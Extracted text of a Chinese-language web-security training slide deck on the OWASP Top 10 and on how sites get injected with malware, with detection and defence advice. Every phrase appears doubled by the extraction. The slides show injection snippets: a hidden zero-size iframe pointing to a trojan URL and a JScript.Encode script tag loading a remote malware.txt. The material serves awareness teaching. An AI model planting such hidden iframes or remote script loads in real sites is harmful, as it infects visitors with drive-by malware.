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訓練大綱訓練大綱
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uu 20072007年年OWASPOWASP十大十大WebWeb資安漏洞資安漏洞

uu 網站被植入惡意程式之手法網站被植入惡意程式之手法

uu 網站被植入惡意程式之偵測網站被植入惡意程式之偵測

uu 網站被植入惡意程式之防護網站被植入惡意程式之防護

uu 總結總結
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相關新聞報導相關新聞報導

uu 20072007年年55月月2121日：日：GoogleGoogle研究報告指出研究報告指出全全
球十分之一網站潛藏惡意連結或程式碼球十分之一網站潛藏惡意連結或程式碼。。

這些網站含有「偷渡式下載這些網站含有「偷渡式下載(Drive(Drive--by by 
DownloadsDownloads」之惡意程式。」之惡意程式。

PDF created with pdfFactory Pro trial version www.pdffactory.com

http://www.pdffactory.com


網站被植入惡意程式之展示網站被植入惡意程式之展示

uu WebWeb資安威脅實例展示資安威脅實例展示(DEMO)(DEMO)
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20072007年年OWASPOWASP十大十大WebWeb資安漏洞資安漏洞

uu CrossCross--Site Scripting (XSS)Site Scripting (XSS)
uu Injection FlawInjection Flaw
uu Malicious File ExecutionMalicious File Execution
uu Insecure Direct Object ReferenceInsecure Direct Object Reference
uu CrossCross--Site Request Forgery (CSRF)Site Request Forgery (CSRF)
uu Information Leakage and Improper Error Information Leakage and Improper Error 

HandlingHandling
uu Broken Authentication and Session ManagementBroken Authentication and Session Management
uu Insecure Cryptographic StorageInsecure Cryptographic Storage
uu Insecure CommunicationInsecure Communication
uu Failure to Restrict URL AccessFailure to Restrict URL Access
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與程式碼安全品質有關的與程式碼安全品質有關的OWASP OWASP 
WebWeb資安漏洞資安漏洞

uu Cross Site Scripting (XSS) Cross Site Scripting (XSS) –– 跨站腳本跨站腳本
攻擊攻擊

uu Injection Flaws Injection Flaws –– 注入弱點注入弱點

uu Malicious File ExecutionMalicious File Execution––惡意檔案執行惡意檔案執行

uu Insecure Direct Object Reference Insecure Direct Object Reference ––不不
安全的物件參考安全的物件參考

uu Cross Site Request Forgery (CSRF) Cross Site Request Forgery (CSRF) ––
跨站冒名請求跨站冒名請求
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網站被植入惡意程式之手法網站被植入惡意程式之手法

uu iframeiframe語法語法
<<iframeiframe srcsrc==木馬網址木馬網址 width=0 height=0></width=0 height=0></iframeiframe>>

uuExampleExample
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網站被植入惡意程式之手法網站被植入惡意程式之手法

uuJava ScriptJava Script語法語法
document.writedocument.write("<("<iframeiframe width='0' height='0' width='0' height='0' srcsrc='='
木馬網址木馬網址'></'></iframeiframe>");>");

uuExample(Example(內容編碼內容編碼//加密加密))
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網站被植入惡意程式之手法網站被植入惡意程式之手法

uu VB ScriptVB Script語法語法

uu ExampleExample((內容編碼內容編碼//加密加密))
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網站被植入惡意程式之手法網站被植入惡意程式之手法

uu Java Script Java Script 變型加密語法變型加密語法
<SCRIPT language="<SCRIPT language="JScript.EncodeJScript.Encode" " 
srcsrc=http://example/=http://example/malware.txtmalware.txt></></
script>script>

* * malware.txtmalware.txt 可改成任何附檔名可改成任何附檔名
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網站被植入惡意程式之手法網站被植入惡意程式之手法

uu 影音檔影音檔((如如RM, SWF, WMVRM, SWF, WMV等等))語法語法
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網站被植入惡意程式之手法網站被植入惡意程式之手法

uu Malformed ASCII BypassingMalformed ASCII Bypassing技術技術
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網站被植入惡意程式之手法網站被植入惡意程式之手法

uu Microsoft Security Bulletin MS07Microsoft Security Bulletin MS07--017: 017: 
Vulnerabilities in GDI Could Allow Vulnerabilities in GDI Could Allow 
Remote Code Execution (925902)Remote Code Execution (925902)  

uu Microsoft Security Advisory (935423): Microsoft Security Advisory (935423): 
Vulnerability in Windows Animated Vulnerability in Windows Animated 
Cursor HandlingCursor Handling
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網站被植入惡意程式之偵測網站被植入惡意程式之偵測

uu 在下圖中，偵測點是防毒在下圖中，偵測點是防毒//資安軟體可以偵資安軟體可以偵
測到這些威脅的時間點測到這些威脅的時間點
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網站被植入惡意程式之偵測網站被植入惡意程式之偵測

uu 幾乎所有的資安軟硬軟體皆無法在第一時幾乎所有的資安軟硬軟體皆無法在第一時
間有效地偵測間有效地偵測
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網站被植入惡意程式之偵測網站被植入惡意程式之偵測

uu 使用防毒軟體使用防毒軟體

uu 使用防火牆使用防火牆

uu 使用入侵偵測系統使用入侵偵測系統(IDS)(IDS)  
uu 使用入侵預防系統使用入侵預防系統(IPS)(IPS)  
uu 使用使用MD5MD5比對使用中與原來檔案之完整性比對使用中與原來檔案之完整性

uu 行為偵測技術已成防毒軟體防護技術主流行為偵測技術已成防毒軟體防護技術主流
((與與Windows VistaWindows Vista的的UACUAC功能相似功能相似))
•• http://rogerspeaking.blogspot.com/200http://rogerspeaking.blogspot.com/200

7/09/blog7/09/blog--post_3909.htmlpost_3909.html
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網站被植入惡意程式之防護網站被植入惡意程式之防護

uu 安裝修補程式安裝修補程式((作業系統、應用程式作業系統、應用程式...)...)  
uu 使用防毒軟體使用防毒軟體

uu 使用行為偵測軟體使用行為偵測軟體((較不適用於閘道端或伺較不適用於閘道端或伺
服器端的防毒服器端的防毒//資安軟體資安軟體))

uu 不隨意瀏覽網站不隨意瀏覽網站

uu 建立網站黑名單建立網站黑名單((最準確的偵測方式最準確的偵測方式))
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總結總結

uu 網路如虎口，處處充滿危機網路如虎口，處處充滿危機

uu 知名網站也可能帶來危害知名網站也可能帶來危害((最近有很多相關最近有很多相關
報導，如報導，如PTTPTT、、HinetHinet等等等等))

uu 使用者必須提高危機意識使用者必須提高危機意識

uu 使用者必須要有正確的資安觀念，否則，使用者必須要有正確的資安觀念，否則，

就下一個受害者可能就是你就下一個受害者可能就是你//妳妳
uu 企業培養資安專業人員之重要性企業培養資安專業人員之重要性

uu 一般使用者資安認知教育訓練之重要性一般使用者資安認知教育訓練之重要性
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聯絡方式聯絡方式

uu EmailEmail
•• roger@malwareroger@malware--test.comtest.com

uu MalwareMalware--Test LabTest Lab
•• http://www.malwarehttp://www.malware--test.comtest.com

uu 大砲開講部落格大砲開講部落格

•• http://http://rogerspeaking.comrogerspeaking.com
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